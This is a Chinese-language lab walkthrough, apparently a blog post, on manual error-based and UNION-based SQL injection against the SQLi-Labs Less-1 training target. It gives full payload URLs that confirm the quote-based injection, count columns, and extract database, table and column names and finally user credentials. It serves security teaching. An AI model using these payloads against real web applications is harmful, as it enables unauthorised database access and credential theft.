基于SQLI的SQL字符型报错注入

基于SQLI的SQL字符型报错注入

一. 实验目的

理解数字型报错SQL注入漏洞点的定位方法,掌握利用手工方式完成一次完整SQL注入的过程,熟悉常见SQL注入命令的操作。

二. 实验环境

渗透主机:KALI平台
用户名: college
密码: 360College

目标网站:SQLI平台的Less-1科目
用户名: xxx
密码: xxx

注意:将MySQL的版本调到5.5以上,因为这样数据库内才会有information_schema数据库。(实验镜像中已经调整)

三. 实验原理

MySQL语言的注释语法:

--(这里有一个空格,--空格)在SQL内表示注释,但在URL中,如果在最后加上--,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用--+代替--,原因是+在URL被URL编码后会变成空格。

四. 实验内容

1. 靶机/var/www/html中找到源码分析Less-1网页源码

请添加图片描述
请添加图片描述
得出结论:如果你输入不同的id值就会返回不同的结果,实际查询的语句是:

SELECT * FROM users WHERE id="1 LIMIT 0,1;

2. kali访问网址http://靶机IP/Less-1/进行注入

(1)在浏览器地址栏中输入http://【靶机IP】/Less-1/,访问SQLI-Labs的less-1

靶机IP
请添加图片描述

(2)在上面的URL末端加上?id=1的动态参数,页面显示登录用户名Dumb、密码Dumb:
请添加图片描述

尝试判断是否存在SQL注入以及哪种注入类型

(1)经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询。

请添加图片描述

(2)尝试在id后面加上(单引号),发现页面回显不正常,表示可能存在SQL字符注入。
请添加图片描述

(3)输入- -+将sql后面的语句注释掉后,页面回显正常,则证明是单引号字符型注入。
请添加图片描述

手工SQL注入获得数据库的用户名与密码

说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。

(1)使用order by语句判断该表中一共有几列数据。order by 3页面回显正常,order by 4页面回显不正常,说明此表一共有3列。

所用的payload格式为:http://【靶机IP】/Less-1/?id=1' order by N --+

请添加图片描述

请添加图片描述

(2)使用union select 1,2,3联合查询语句查看页面是否有显示位。发现页面先输出了2和3,说明页面有2个显示位。

所用的payload格式为:http://【靶机IP】/Less-1/?id=1' and 1=2 union select 1,2,3 --+
请添加图片描述

(3)利用sql查询语句爆破出数据库内的数据库名。

所用的payload格式为:http://【靶机IP】/Less-1/?id=1' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+

请添加图片描述

(4)利用sql查询语句爆破出security数据库内的表名。

所用的payload格式为:http://【靶机IP】/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

请添加图片描述

(5)利用sql查询语句爆破出users数据表内的列名。

所用的payload格式为:http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

请添加图片描述

(6)利用sql查询语句爆破出username、password列的值。

所用的payload格式为:http://【靶机IP】/Less-1/?id=1' and 1=2 union select 1,group_concat(username), group_concat(password) from security.users --+

请添加图片描述

五. 思考与总结

通过本次实验,成功实现了利用SQL注入漏洞的管理员帐户密码的获取,掌握了SQL注入漏洞的手工攻击方法,在此基础上可以深刻体会SQL注入漏洞的危害以及采取相关网络安全防护防御措施。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值